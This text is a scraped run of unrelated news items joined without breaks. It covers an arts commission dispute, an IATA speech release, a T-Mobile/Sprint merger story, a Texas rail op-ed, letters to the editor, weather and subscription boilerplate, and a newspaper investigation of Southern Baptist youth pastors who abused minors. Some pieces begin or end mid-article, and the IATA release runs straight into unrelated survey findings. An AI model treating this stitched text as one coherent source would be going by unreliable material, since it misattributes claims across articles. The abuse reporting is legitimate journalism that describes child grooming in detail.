The pillar discussion had not been on the agenda but came up when Commissioner Cynthia Quinones read into the record emails she had received from Vincent Melito and Joseph Smith, both of whom have been outspoken advocates for the children's pillar art.

Kerns expressed frustration with the "hyperbolic communications" from the two men that threw around terms like "illegal" and accusations against him of unethical conduct because he is a partner co-founder of a business, Bright Ideas Brewing, on the Mass MoCA campus.

He said former Chairwoman Julia Dixon had contacted the state Ethics Commission and Quinones said she remembered "it being resolved as not an issue."

"Having my business and my name dragged through the mud is not something I want to continue," Kerns said, telling King that "it's my personal opinion you're not being helped by these proxies."

Commissioner William Blackmer objected that the commission should not be discussing the matter because it was not on the agenda.

"I'm not hearing anything new in that correspondence," he said. "We've heard all this before."

Despite his protest, the conversation over the pillars continued and Kerns made the pledge to King to bring the stakeholders together in a private meeting.

Kerns described the commission as currently being in "disarray." Several commissioners have left and the commission had spent much of the summer in a power struggle with the mayor over which entity had authority over artists' contracts  and the chairman had quit in protest.

"We're in disarray and there's a causative effect of this process," he said. "We're not sure where we stand."

The commission had electing officers on the agenda but tabled the items because it is still short one commissioner and was informed by Quinones that she would be resigning for personal reasons.

Commissioners hope to meet with the mayor to discuss how the panel can have City Hall assistance. The seven-member board has been feeling its way with no staff support since its inception three years ago.

"There's a level of 'undersight' that helps with connective through-lines when people change in and out," Kerns said. Sapienza noted that the PAC has no City Council liaison either.

Updated Feb. 14 to restore a paragraph accidentally deleted in editing and to clarify Kerns is a co-founder, not owner or partner, in Bright Ideas.Washington, DC  The International Air Transport Association (IATA) urged the United States government and industry to work together to ensure that aviation is able to accommodate an expected 62% rise in demand for air travel to, from and within the country over the next 20 years.



Speaking at the International Aviation Club in Washington, D.C., Alexandre de Juniac, IATAs Director General and CEO, noted that aviation already supports 6.5 million jobs in the United States and contributes over $778 billion to GDP, including aviation-supported tourism. The social and economic benefits enabled by aviation will increase as the number of passenger journeys rises to 1.26 billion by 2037, from 780 million in 2017.

De Juniac highlighted key factors necessary to ensure aviation is able to meet this increase and grow aviations benefits. These include maintaining a competitive environment that stimulates innovation, and adequate infrastructure to cope with new demand:

Competition: Delivering aviations economic and social benefits requires a policy framework that supports competitiveness. Competition unleashes innovation and helps drive prices down. In 1978, the US government recognized this fact and deregulated the airline industry, leading to lower fares and greater access to air travel, said de Juniac.

Yet some in Congress are trying to turn back the clock on deregulations successful legacy. For example, a measure introduced in last years Federal Aviation Administration (FAA) reauthorization bill would have required the US Department of Transportation to regulate airline ancillary fees. Clearly the intent was to eliminate the unbundling model that has allowed airlines to keep fares low by asking consumers only to pay for those things they value.

While the measure was not in the final bill, it should never have been introduced in the first place. On principle, it is outrageous that airlines were singled out in this manner, said de Juniac.

He also urged the US to ratify the Montreal Protocol 2014 (MP14) to address loopholes in international agreements that make it difficult to bring the law to bear against unruly passengers. No passenger or crew member should have to put up with verbal or physical threats, harassment, violence or assault. MP14 will close jurisdictional loopholes in the existing international treaty governing offenses on-board aircraft, ensuring that perpetrators will face justice regardless of where they are flying. Sixteen countries have ratified MP14 of the twenty-two needed for it to come into force.

Infrastructure: De Juniac highlighted the need for additional airport infrastructure to accommodate growth. While the US is in a better position than most markets, no major new airport has opened here in almost 25 years. With the US market expected to add close to 500 million passengers by 2037, that just wont do.

De Juniac said that airlines require:

Sufficient infrastructure capacity

Alignment with airline technical and service level needs, and

Affordability

In the absence of adequate infrastructure, de Juniac stressed the importance of the Worldwide Slot Guidelines (WSG) in managing scarce resources around the world. Today the WSG is being used at about 200 airportsincluding at New York JFKaccounting for 43% of global traffic.

While there may be local variation in how slots are managed, the system will only work if the parties at both ends of a route are using the same rules. Tinkering by any participant messes it up for everybody. Therefore, we cannot turn a blind eye to one country or one airline over another, said de Juniac.

Partial Government Shutdown

De Juniac also called on leaders in Congress and the Administration to work together to ensure that aviation connectivity is not endangered in the event of another government shutdown. He thanked the thousands of dedicated government employees who kept the aviation system functioning without pay during the recent five-week partial shutdown.

While aviation was fortunate to escape long-lasting economic damage during the shutdown, there were some serious impacts and airlines took a hit in terms of tickets not sold and trips not made. The shutdown also underscored the urgent need to remove the US air traffic control system from the federal budget process and place it in a nonprofit structure that would be immune to these kinds of situations.

Business of Freedom



De Juniac emphasized aviations transcendent role as the Business of Freedom. Aviation liberates us from the constraints of geography and distance. It empowers us to lead better lives and makes the world a better place. Aviation enables globalization, which has been shown to be the most successful way to lift people from poverty. To be sure, we must aim for a more inclusive model. But that will not be achieved with protectionist policies or trade wars. Prosperity will come with borders that are open to the movement of people and to trade. We need to state this loudly and frequently.





Read Alexandre de Juniacs speech

For more information, please contact:

Corporate Communications

Tel: +41 22 770 2967

Email: corpcomms@iata.org

Notes for Editors:

Additionally, more than seven in 10 workers believe emerging technologies will have a positive impact on their job in the next five to 10 years. The study found that about half of employers are investing in new technologies such as machine learning, robotics and automation.

Of those surveyed, 72% think employers should offer the necessary digital training to increase productivity. However, only 51% of employers are doing so. This had led 63% of employees to proactively invest in efforts to learn about tech like AI.

Confidence about the future

Overall, employees remain optimistic about digital transformation: eight in 10 are positive that the changes will present them with new opportunities.

Employees (82%) are also confident that the younger generation are being taught the right digital skills in school and preparing them well for the future workforce.As an existing print subscriber it is easy to get FREE access to all our online content.

When you click get started below it will walk you through creating an online account to attach your print subscription number to.

After your account is created it will ask you to either add a subscription for online access or click on the print subscriber button. Click the print subscriber button header and it will open a dropdown, now click on get started. The page will reload and you will be prompted to enter an account number and a zip code.

IT IS VERY IMPORTANT TO USE THE NUMBER OFF OF THE MOST RECENT ISSUE OR ANYTHING AFTER JANUARY 28, 2019 TO GAIN ACCESS!

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The account number and zip code are easily available on your most recent issue of the High Plains Journal or Midwest Ag Journal in the address fields as is shown here. Sometimes the account number has extra zero's in front of it, just ignore those.Buffalo, WY (82834)

Today

Mixed clouds and sun this morning. Scattered thunderstorms developing this afternoon. High near 80F. ENE winds shifting to NW at 10 to 20 mph. Chance of rain 60%..

Tonight

Overcast with a slight chance of showers and thunderstorms, mainly this evening. Low 56F. Winds NW at 10 to 15 mph. Chance of rain 40%.Subscribing to our services is a three step process. First you have to create an account and then you have to pick if you want to subscribe to digital and or print.

Some people only want to be a digital subscriber to get access online and others want to also receive the print edition.

If you are already a print subscriber and want online access, it is free, you simply have to create an online account and then attach your print subscription account number to the online account you create.Your Colleagues

Gainey receives prestigious psychology award

By BERT GAMBINI

Kristin Gainey, assistant professor in the Department of Psychology, has received one of the American Psychological Associations (APA) 2018 Early Career Distinguished Scientific awards, a recognition thats among the fields highest honors of achievement.

Gainey is among the six recipients formally announced recently by the APA, the largest scientific and professional organization for psychologists in the U.S., for Early Career Contributions to Psychology. The award, presented annually since 1974, recognizes the work of psychologists who received their doctorates within the past 10 years. Award recipients were recognized and presented their work at the APAs annual convention last August.

An APA committee selects the award recipients from a group nominated by scientists and institutions. The committee considers 10 research areas for the award, which rotate annually in groups of five: animal learning, developmental, health, cognition, psychopathology, behavioral neuroscience, perception, social psychology, applied research and individual differences (e.g., personality). Gainey received the award for her work in psychopathology research.

The Early Career Contributions honorees represent one of three award categories that also includes the APAs Award for Distinguished Scientific Contributions and its Award for Distinguished Scientific Applications of Psychology.

The APA cited Gaineys groundbreaking work in the study of personality, affect and psychopathology, and her innovative research that seeks to better understand the development and maintenance of major depression and anxiety disorders.

This is an honor and a surprise, especially when you look at the awards history and the list of distinguished recipients, including several from our own department, who do such amazing work, she says. Im humbled to be recognized in that kind of company. Im also grateful for the support of UB in getting my research career started, and the important contributions of my students and collaborators to this work.

Gainey is an expert in emotion regulation and her work focuses on the role of affect (the component of emotion that describes a particular feeling) in psychopathology. She examines how emotions impact anxiety and depression, and attempts and implications of trying to control or change those emotions.

There is so much to understand in this area, she says. My recent work is on affect and symptoms as they happen in daily life. Using smart phones, we can begin to examine these things in real time, rather than asking people in a lab, after the fact.

Gainey says that exploring emotions in the moment can better illuminate what combination of factors work best to help people cope with difficult or unwanted emotions.

The idea is to find that fit between what someone is experiencing emotionally and how they might want to change that response in ways that are healthy and adaptive in specific situations, she says.

In a slightly different context, mentioning a particular fit and responding to circumstances provides a glimpse of Gaineys diverse background.

She completed a double major in music and psychology at Harvard University and later completed a masters degree in pipe organ performance at Yale University.

I was torn between the two disciplines, she says. My first year of graduate work in music clarified my career goals. I really enjoy music, but I missed psychology and research.

During her second year at Yale, she applied for the PhD program in psychology at the University of Iowa, where she obtained her doctorate.

Music is still a big part of my life, she says. I played as a church organist nearly every week throughout college and graduate school, and even played recently at St. Stanislaus Church in Buffalo.Houston, MO (65483)

Today

Partly cloudy skies this morning will become overcast during the afternoon. High near 90F. Winds S at 10 to 20 mph..

Tonight

Partly cloudy skies early will give way to cloudy skies late. A stray severe thunderstorm is possible. Low 74F. Winds S at 10 to 15 mph.T-Mobile US Inc. Chief Executive Officer John Legere heads to Capitol Hill this week to defend his proposed takeover of Sprint Corp., as doubts about the deal grow on Wall Street and opponents say it will raise monthly bills.

Legere is set to appear Wednesday and Thursday before two House panels about the $26.5 billion tie-up, which would unite the No. 3 and 4 U.S. mobile carriers, sparking fears of higher prices as competition is lost. Sprint and T-Mobile say the merger will make a stronger rival of leading providers AT&T Inc. and Verizon Communications Inc.

The hearings are shaping up to be a tougher test for Legere and Sprint Chairman Marcelo Claure than when they appeared before the Senate last year after the deal was announced.

5G: AT&T mobile 5G network now live in parts of Houston

The new chairman of the House antitrust panel, David Cicilline, a Rhode Island Democrat, is vowing closer scrutiny of the market power of companies and the potential harm to consumers, while deal opponents, including Dish Network Corp. and Altice USA Inc., are arguing it threatens competition.

Among the likely questions for Legere from Democrats is whether T-Mobile executives were seeking to curry favor with the Trump administration when they stayed at the Trump International Hotel in Washington as the deal was under review by the Federal Communications Commission and the Justice Department.

52 Nights

The Washington Post last week reported that T-Mobile executives booked at least 52 nights at the Trump hotel on Pennsylvania Avenue since last year, citing records obtained from the hotel.

Legere said in an interview last week that he was staying at the Mandarin Oriental, Washington, and then relocating to the Four Seasons Hotel. Sprints Claure tweeted a picture of himself Monday in front of the St. Regis, two blocks from the White House.

Theres been some noise about visits like why did you go down to Washington right after the deal was announced, Legere said in the interview. We wanted to start telling them we were proud of the deal and the benefits it would bring.

BIG SWITCH: 8 months after switch to T-Mobile from AT&T, no regrets

Showing hes made a break with the Trump hotel, on Sunday he told viewers of his YouTube cooking show his whereabouts: Im in Washington D.C., and Im at the Mandarin Oriental hotel. Mandarin Oriental hotel. Get that, write that down. That could be pertinent information.

Deals Chances

Investors are growing increasingly skeptical about the mergers chances of approval. The spread between T-Mobiles offer price for Sprint and Sprints trading price, a measure of the markets view of the deals prospects, has climbed since the end of December, hitting a high of $1.11 on Feb. 8.

Legere said he intends to tell the House what hes been saying for months: that together, T-Mobile and Sprint will create a stronger third competitor to take on industry giants AT&T and Verizon. The centerpiece of their case is that theyll be more capable of building the next generation of wireless technology, known as 5G.

Critics of our merger, largely employed by big telco and big cable, have principally argued that we are going to raise rates right after the merger closes, he said. I want to reiterate unequivocally that prices will go down and customers will get more for less.

Without apparent prompting, Legere last week promised that T-Mobile wont raise rates after buying Sprint, offering consumers the same or better plans for three years. Analysts and deal opponents say Legeres pledge might be a sign that the company has run into concerns from regulators that the merger will reduce competition and lead to more expensive bills. Otherwise, Legere wouldnt need to make the commitment, they say.

Antitrust enforcers at the Justice Department want competitive markets to keep prices in check, not promises from companies, said Blair Levin, an analyst at New Street Research.

ANOTHER SWITCH: Switching to T-Mobile, with a side of Apple: Confusion, exhaustion, frustration

What does this tell you about whether the deal is going well or not? he said. With all due respect to the CEO, theres no scenario in which this is the deal is going well.

As the review has gone along, investors have warmed to the idea that an approval was likely, but the recent promise to hold prices might have been a bit of a surprise, said Amy Yong, an analyst with Macquarie.

I dont think investors have thought through the full impact of the price freeze. It might take some time to get comfortable with it, Yong said.

Congress doesnt have a say over whether the merger is approved, though it oversees the agencies vetting the deal. States are also investigating the merger, including the attorneys general for New York and California. They could challenge the deal even if federal officials clear it.

T-Mobiles rate pledge, filed with the FCC on Feb. 4, came after Dish, which opposes the deal, said economists working for T-Mobile and Sprint have effectively acknowledged in their reports that the merger would lead to higher prices but justify the increase by saying consumers would pay more for better service. The analysis relies on subscribers being willing to pay a disproportionately large amount of money for even an ounce of improvement in the quality of their current service, according to Dish.

Legere denied the price commitment is a sign the deal is running into trouble.

What bad conversation could be going on where youre clarifying the statement that you made that this is good for the country, its good for the consumer, its good for competition, jobs are going up, prices are going down, supply is going to increase and the nations competitiveness in 5G is going to go up, he said. So thats what it is and anybody who can glance in and try to find a negative of that, better go find some happy pills.

One set of economists for the companies said in a filing with the FCC that the deal would benefit competition in the wireless market starting in 2021 or 2022. That probably explains why Legere promised to keep rates from rising for three years, according to Allen Grunes, an antitrust lawyer representing the Communications Workers of America, which opposes the merger.

T-Mobiles own economic model suggests that prices will go up over the next few years, Grunes said.

--With assistance from Todd Shields.

2019 Bloomberg L.P.Texas high-speed train ended 2018 with remarkable progress, putting Houston and the rest of the state another step closer to a dynamic and much-needed transportation choice.

It is estimated that more than 1,100 people are moving to this great state every day, drawn by our economic dynamism and ability to elevate problem-solvers willing to take on the thorniest issues in bold and creative ways.

COUNTERPOINT: Texas high-speed rail on track to failure

Houston and North Texas are the dual engines driving this growth, thanks to our encouraging, entrepreneur-friendly cultures. While this unprecedented growth has been a blessing, Texas must tackle emerging transportation and infrastructure issues if we hope to remain an attractive destination in the years to come.

Interstate 45  the massive highway that links our economic and commercial hubs  is a prime example. In addition to being perpetually traffic-clogged, this vital artery is routinely ranked as one of Americas deadliest highways.

Texans deserve an alternative thats fast, safe and reliable  a high-speed train running between Houston and North Texas, with a midway stop in the Brazos Valley. This 200-mph train will link the top metro areas in 90 minutes while generating widespread benefits for communities along the route.

In addition to bringing the two most populated urban areas in Texas closer together, the high-speed train will be an engine for economic growth. It will directly create 10,000 jobs during each year of construction, and 1,500 permanent, highly trained positions once fully operational.

Over 25 years, the project is expected to add more than $36 billion directly into state and local economies. Texas Central expects to pay taxes going to counties, cities, schools, hospital districts and other entities along the route. It will not take state or federal grants for operations or construction. Like any other private business, it will contribute to communities and decrease the burden on individual taxpayers.

Independent research shows that more than 16 million people travel between Houston and North Texas each year, and the number is growing. This is in an area where four counties are already air quality non-attainment status. Economic development groups have recognized the trains positive, differentiating impact to help relieve the strains on existing infrastructure and accommodate growing demands.

In Houston, whose official seal boasts a train engine as a symbol of progress, the preferred site of the new passenger station is the Northwest Mall, in a high-growth area with easy access to employment centers, including the Galleria, the Energy Corridor and downtown. The station not only will be a catalyst for economic development, but it also will offer convenient, efficient and direct access for passengers to and from local transit systems.

Texas Central has hit all of its financial milestones, including securing equity  most coming from Texans  and an interest-bearing loan that will provide enough funding for all activities required for the project to reach financial close. The project is moving ahead on permitting, design and engineering, as well as other early works needed to launch construction.

Contrary to what others have said, Texas Central is a bona fide railroad company and electric railway, overseen by federal regulators in helping to determine the train's most advantageous route between Texas' major commercial centers.

Unlike California, which just announced that it is scaling back its government-financed high-speed train network, Texas Central is taking a fundamentally different approach, one driven by data and disciplined by the free market. It is led by entrepreneurs, an investor-owned infrastructure project being developed without government grants or operational subsidies.

We know the market and economics between North Texas and Houston match those of successful train systems globally, and we are confident that the Texas line will provide the revenue to sustain the operations, repay the debt and provide a return to the investors.

Other recent highlights include bringing on board global industry leaders: international railway company Renfe is the trains operating partner; multinational firm Salini Impregilo  operating in the U.S. market with The Lane Construction Corporation  is leading the civil construction consortium that will build the train; and Bechtel, with operational headquarters in Houston, is on Texas Centrals project management services team.

I am excited to be leading a project that leverages the capital and spirit of entrepreneurs instead of relying on taxpayer dollars. The Texas Central business model could provide the pathway for similar projects, a cooperative, free-market approach in which critical projects are built in months and years, not decades, and in a manner that doesnt encourage wasteful spending.

By meeting the mobility needs of our booming state and solving our most pressing problems in a smart way that adheres to Texas values of self-reliance and entrepreneurship, the high-speed train represents a true game-changer for all.

McLane is chairman of the McLane Group and chairman of the Texas Central board of directors.Regarding Lawmakers reach deal to prevent shutdown (Nation/World, Tuesday): It is now expected that this bipartisan bill will pass through both houses of Congress whereupon it will end up on the presidents desk for signature. If President Trump puts his name on the dotted line, he will have accepted an appropriation that will give him no money for a wall as that word is customarily understood to denote, and a sum that represents only about 23 percent of what he originally asked for. We can draw from this three conclusions: (1) Trump will be getting far less than he could have secured prior to his shutting down the federal government; (2) House Speaker Nancy Pelosi and congressional Democrats got the better end of this negotiated agreement; and (3) the president is nowhere near the sharp negotiator he has made himself out to be.

Marty Adams, Houston

Haggling

Regarding Talks stall over ICE cap (Front page, Monday): Many of us have viewed the Democrats as insincere when they say they want to stop the flow of illegal immigrants entering our southern border. Their new demand on how ICE classifies the number of beds available for detainees is just another example of finding a way to prevent any legislation from moving through to change things.

The root of their opposition is really to not give any concession to Donald Trump. The last shutdown cost the country more in dollars than what Trump is requesting for the wall, yet we are haggling over how to label detention beds. This is not governing.

Larry Tidwell, Baytown

Fair play

The letter writer in Sundays Houston Chronicle that wrote Democrats have clearly demonstrated that their only priority and only concern is to prevent Trump from being elected to a second term must not have been paying much attention when President Obama was in office.

I remember the Republican Senate Leader Mitch McConnell stating: The single most important thing we want to achieve is for President Obama to be a one-term president.

So, I think its only fair for the Democrats in Congress to have the same goal.

Mike Reagan, Pasadena

Facing war facts

Regarding Great nations dont quit before prevailing (Outlook, Saturday): Columnist Marc A. Thiessen is wrong. Iraq, Afghanistan and Syria are bottomless pits where the United States has been dumping money and live troops into for 17 years. There is, at present, no end in sight, yet Thiessen just wants to keep on doing the same thing?

In business, there is a saying: When you realize that some endeavor is a failure, you cut your losses.

The hard facts are that the Middle East has been a place of violence and instability for thousands of years and will continue to be so for at least another thousand years. There is absolutely nothing the U.S. government can do to change that, and it is supremely arrogant to think that the U.S. can just waltz in there and magically convert it into a model of peace and stability.

The secret to U.S. greatness is in our culture of liberty and minimal government, not because we love to fight wars especially futile wars that were doomed from day one.

David M. Woods, HoustonPublished Feb. 13, 2019

Third of six parts

Chad Foster, a former firefighter from Missouri, arrived in Texas soon after his divorce and with his 30th birthday fast approaching. He described himself as a fairly new Christian with a history of hard drinking.

He was hired and later ordained as a youth pastor by Houston's Second Baptist Church, one of the largest Southern Baptist congregations in the country.

"When I took the job," Foster later said, "I didn't know anything about it."

Foster preached abstinence and urged teens to sign a contract to save themselves for marriage. But he soon targeted underaged girls at the church's Cypress campus for intimate text messages and physical contact. His brief career as a youth pastor ended in 2013 with guilty pleas to three counts of sexual assault of a child and two of online solicitation of a minor.

A 16-year-old girl with whom he illegally had sex testified at his sentencing.

"I thought I really loved him," she said. "He's not the person I knew. I feel like he's a sick person. I think he's going to do it again if he's on probation. I have no doubt in my mind that he will."

There are many others like Foster. Scores of Southern Baptist youth pastors across the country, many with little oversight or formal training, used their church positions to groom and sexually abuse children in their flocks, an investigation by the Houston Chronicle and San Antonio Express-News reveals.

More than 100 Southern Baptists described as former youth pastors or youth ministers are now in prison, are registered as sex offenders or have been charged with sex crimes, the newspapers found. Their most common targets were teenage girls and boys, though smaller children also were molested, sometimes in pastors' studies and Sunday school rooms.

"You can't let your guard down," said Amanda Griffith, a federal prosecutor in San Diego who has handled dozens of sex crime cases, including those involving predatory youth pastors. "There's the belief that church is sacrosanct, but this can happen anywhere."

Foster toted chicken nuggets to school lunchrooms and delivered passionate sermons as part of his ministry. But behind the scenes, he was prolific in his flirtations, using cellphones and laptops to message multiple girls at Second Baptist and later at a different church.

He asked girls as young as 12 for graphic details about "temptations." He shared his sexual fantasies and masturbated online, displaying himself via social media webcams or describing his activities in texts. He urged his favorites to send their own explicit images and to visit the suburban tract home where he lived alone, Harris County court records show.

ABUSE OF FAITH: Read our entire series here

Second Baptist quietly fired him in 2010 after receiving complaints about lying and other inappropriate behavior, court records show. Church members and employees were among those who pointed out problems before his dismissal.

But church leaders did not inform youth group members and parents that Foster had been fired or why. Nor did they tell leaders of another church, the Community of Faith Church in Cypress, a non-SBC church that hired Foster to run its youth group in 2011. He found more targets there, court records show.

Second Baptist officials stayed quiet about Foster's 2010 dismissal, even after Harris County detectives arrested Foster in 2011, investigators say.

Southern Baptist churches are the nation's largest Protestant group, but they lack common hiring protocols or standard pastor training programs. They do not have uniform policies for sharing information about pastors fired or convicted of inappropriate sexual behavior, sexual abuse or assault  the kind of transparency that could protect churches and their congregants from sexual predators such as Foster.

Second Baptist officials declined an interview request. But in a statement, the church said that Foster's termination on Dec. 6, 2010, had "nothing to do with sexual abuse or allegations of sexual abuse." The church said "Second Baptist was not made aware of any sexual misconduct by Foster until he was arrested in November 2011, almost a year after his termination."

Chad Foster, sex offender registry photo. (Texas DPS)

The church, however, had received complaints about Foster's general conduct and about his behavior with an adult girlfriend, court records show. Those complaints included questions about his dishonesty regarding going on a job interview, exceeding time and texting limits on his church-provided cellphone, and sharing a hotel room with his girlfriend on an out-of-town trip.

Regardless, Second Baptist gave Foster a "great reference," according to testimony from the pastor of the church that later hired Foster, Community of Faith.

In 2013, Foster begged a female Harris County judge for leniency after pleading guilty to five felonies that were uncovered after he had become youth pastor at Community of Faith. Three victims  two who had met him at Second Baptist and one at Community of Faith  requested a long sentence.

Foster was sentenced to five years in 2013, a fraction of the maximum possible penalty. He was released in 2017 and is now living in College Station as a registered sex offender. He declined to comment for this story.

The view from prison

Former Southern Baptist youth pastor Gary Welch says he prays for forgiveness every day for having abused his church position to groom and then repeatedly have sex with a teenage girl.

Welch was married and nearing his 40th birthday when he began to cultivate his victim, who was then 13. They met at his church in Navarro County south of Dallas.

Clandestine meetings and sexual contact continued until the victim was 16 and sought help. When confronted, Welch quickly confessed. He pleaded guilty to four counts of aggravated sexual assault in 2012 and was sentenced to 55 years in prison.

He's incarcerated in a dorm reserved for participants in a faith-based program in the Wynne Unit prison on the outskirts of Huntsville.

Like many other Southern Baptist preachers and youth pastors, Welch never attended college or seminary. His father was a preacher and he was a teenager when he felt called by God to teach Sunday school. He worked in churches for years before being formally ordained as a youth minister by a church in Corsicana.

The process was simple. He was observed by the pastor. Deacons posed a few questions, and then they voted him in. At a ceremony, the whole congregation clapped and cheered. He's still proud of what he accomplished in the name of the Lord, including taking children on mission trips to build a cinder block church in Mexico and pray with the homeless on the streets of Austin.

WATCH: Hear the perpetrators tell their side in prison interviews

Welch said all youth pastors need training and strict guidelines. His church offered both, but when he took the wrong path, no one noticed. Supervisors saw only his successes, he said. And teens tend to glorify their pastors.

"For students, a lot of times, students will say that's what Christ looks like," he said. "... and when you do something that causes them to question what Christ is or who Christ is ... it causes a lot of destruction in people's lives."

'Ruining the mood'

Foster's ordination was delayed after Second Baptist leaders received complaints, including reports that Foster lied about a trip he took, sent excessive texts and behaved inappropriately, court records show. But ultimately his certificate was signed by a group that included Ed Young, a nationally-known religious broadcaster, longtime pastor of Second Baptist and a former president of the Southern Baptist Convention.

Foster later told a Harris County judge that he lacked any training in how to teach or counsel adolescents in his youth group at Second Baptist's fast-growing Cypress campus.

The only advice Foster contends he received before being dispatched to save the souls of dozens of junior- and senior-high kids was to "become friends" and "become popular" and let the parents know if children were actively suicidal, according to a sentencing transcript.

That simple formula seemed to work. Soon after Foster began as youth pastor in 2007, the Cypress campus' youth group population boomed. Junior and senior high girls fought over who would bring him coffee, recalls Nicole, who initially admired Foster but later counted herself among his victims. She asked that her last name be withheld.

Nicole, now in her early 20s, described herself as naive and deeply religious as a teen. Foster began to break down boundaries with her and others by sending flirty texts, sharing bus seats on a church trip and inviting girls to his house, she said. Receiving sexually-charged missives from the man who delivered sermons and performed baptisms left her troubled and confused. As a young teen, she didn't realize she was one of several targets.

Later, she and her parents left the Baptist faith.

For years, Second Baptist Church leaders have denied that they knew Foster was behaving inappropriately with teenagers before his well-publicized arrest.

Dr. Ed Young speaks at Second Baptist Church in Houston. (James Nielsen/Houston Chronicle file)

Foster was fired by Second Baptist in late 2010 and told to cease communicating with church teens, according to court documents and his sentencing transcript. His confused youth group members and their parents got no explanation.

In its statement to the Chronicle, the church noted that the youngest victim, who first met Foster at their church when she was 12, was hit with a barrage of sexual texts that were the subject of criminal charges only after Foster was terminated by Second Baptist.

Second Baptist later settled at least two lawsuits filed by two of Foster's victims.

Foster first attracted his 16-year-old victim  whose name is being withheld because she is a sexual assault victim  during a 2011 summer church camp for his new church, Community of Faith. He visited the girls' dorm late one night to share his message about being saved by God from the depths of drinking and divorce and later managed to get her alone on the beach in Alabama. On the way home from camp, they exchanged cellphone numbers.

A few days later, she began texting Foster about a problem she was having with a boy when he stopped her. She was "ruining the mood," he said. When she asked why, he replied that he was masturbating, according to Harris County court transcript. Foster then began to share his detailed sexual fantasies, swore her to secrecy and pressured her to begin a "relationship."

Foster had been leading the youth group at Community of Faith for less than a year when the mother of the 16-year-old spotted his texts. By then, Foster had already invited the girl alone to his home and illegally engaged in sexual intercourse with her at least three times.

The 16-year-old suffered an emotional crisis. She confided in a teacher who alerted police; police alerted the church. Her pastor at Community of Faith quickly reached out to others.

RELATED: How can Southern Baptist churches and parents help prevent sexual abuse?

That's when a second victim came forward  the girl who first met Foster at Second Baptist when she was just 12.

The same girl testified that Foster began texting her with inappropriate messages when she was 12 and 13, but his behavior accelerated to web-cam displays of his erections and ejaculations after she got a computer for Christmas in 2010. Over the next year, she received 15,000 texts as well as Skype and Facebook messages from Foster, including explicit live videos of masturbation, invitations to send him nude photos and warnings to delete all logs and never tell anyone.

"My life has turned upside down. I can't relate to what people are going through any more. My innocence is gone," his youngest victim later said in court, breaking down in tears. "I no longer have a relationship with God, and that was once something very special to me. I don't trust anyone in churches anymore."

As part of the criminal case and civil lawsuits that unfolded after Foster's arrest, Second Baptist officials were informed that Foster had aggressively flirted and sent sexual texts to the 12-year-old as well as at least three older youth group members during the time Foster still worked at their church  including one who testified under oath that he seduced her five to 10 times while she was still in high school, court records show.

It's unclear from court records whether church officials reviewed the content of Foster's cellphone texts or the contents of his church computer email either after receiving complaints prior to firing Foster in 2010  or later when police and a parent requested help to identify additional youth group victims.

Youth pastor pornography

The methods Foster used to cultivate Houston-area teens show up in dozens of other cases nationwide. Other sexually abusive youth pastors have changed churches, left the state or received support for mission trips abroad even after complaints surfaced or criminal probes began, court records show.

Some predatory youth pastors were caught and charged only after they began distributing images of teenage victims across state lines.

Two brothers  guitar-playing music minister Jordan Earls and his brother, Joshua, a newly-ordained youth pastor  worked together with a youth group at a Southern Baptist Church in Garland for nearly four years beginning in 2009.

They were the sons of a Southern Baptist preacher and rented an apartment where they threw pool parties. The brothers were single and still in their 20s. They sent girls explicit texts and exchanged pornographic photos and videos with the teens, criminal and civil court files show. The younger brother inappropriately touched girls while in the church and elsewhere, according to the Dallas civil lawsuit.

"Essentially, these men, who lived together in a one-bedroom apartment, ran a child pornography ring using their positions of authority and (church) facilities to exploit impressionable pubescent girls," parents of one youth group victim alleged in a lawsuit that the church settled.

Those parents alleged that the younger of the two brothers, Jordan Earls, sexually molested their daughter inside the church and attacked another girl in a home. A related Dallas County prosecution was dropped after federal charges were filed.

SEARCH OUR DATABASE: See the Southern Baptist church officials who were convicted or pleaded guilty

The pair left the church before Garland police sought to formally question them about complaints of inappropriate contact with teens, according to court records and interviews with a Garland police detective and a federal prosecutor. Both Jordan and Joshua continued to work with youth in other churches despite the ongoing criminal investigation.

The Earlses ultimately were caught mainly because they continued to contact Texas victims after leaving the state. Federal prosecutors got involved because both exchanged graphic images of masturbation with teen victims via the internet and cellphones.

Joshua Earls had moved to another church at the time of his arrest in 2013, and Jordan Earls had traveled to South Carolina to work at a church run by their father.

Ultimately, the brothers were convicted of possession of federal pornography for sending and receiving lewd images of their victims and themselves across state lines. At sentencing, Joshua Earls in 2015 begged forgiveness from his victims, from his family and for "having sinned against the government."

"And most importantly, I am sorry to God. I sinned against him, and I should have known better."

Both remain incarcerated: Jordan Earls was sentenced to 15 years and Joshua 12.

Arapaho Road Baptist Church in Garland settled lawsuits filed by parents of two victims and declined comment because of a confidentiality agreement. Leaders "continue to pray for all parties involved," said spokesman Carolyn Alvey. "From the moment they learned there was anything inappropriate going on, they wanted it to be in the light and they wanted to make sure the parties responsible were held accountable."

In other cases, pastors made arrangements to meet victims online, using Back Page ads, chat rooms or email to meet and seduce minors from out of town  sometimes encountering undercover police instead.

It's not just youth pastors who cruise online for teenage victims. Joe David Barron, then a 52-year-old pastor at Prestonwood Baptist in Plano, drove 200 miles after arranging online in 2008 to meet someone he thought was a 13-year-old girl. He primed her for the experience by sending along an image of himself in his underwear with an erection. He arrived at the meeting place, an apartment building just outside Bryan, with large box full of condoms after promising to be gentle when he took her virginity.

Barron was arrested by undercover officers who intercepted his SUV as he circled the parking lot. Barron was fired by his church, which cooperated with investigators, according to Bryan Police Detective Travis Hines.

In a letter to the Chronicle, Barron said he took responsibility for his "choices and behaviors." He attended treatment and has had no reported problems in a decade as a registered sex offender. He now works with ex-offenders in a nonprofit.

"I determined my life would not be defined by my failure," he wrote. "Rather I want my life to be defined by how I responded to my failure."

More victims?

Chad Foster was found guilty of three sexual assaults of the 16-year-old and two more felonies for his obscene online behavior with the younger girl. During his 2013 sentencing hearing, he asked a Harris County judge for mercy and probation.

At Foster's sentencing, three victims testified. Nicole, the eldest of the trio, took the stand first to tell the judge that there were even more youth group members who were afraid to speak out.

"Although these girls didn't come forward, this is not an isolated incident, and there are a lot more that have come to me," she said.

In an interview with the Chronicle, she described a long-term pattern of aggressive flirtation or abuse that Foster conducted with her and at least five other youth group members at Second Baptist.

Nicole said Foster started with a barrage of texts and detailed personal questions about what she would do in various sexual scenarios. His behavior with her escalated after she turned 17  the age of consent in Texas  and after her parents moved away from Houston. She stayed in the region as a college student and au pair.

In 2013, she testified about an incident that began when Foster offered a ride after her car broke down. Instead of driving her home, she said, he illegally supplied her with beers and then took her to his place, invited her to sit on his couch and put his hand on her upper thigh.

In an interview, she told the Chronicle she had to repeatedly request to be taken home before Foster finally agreed.

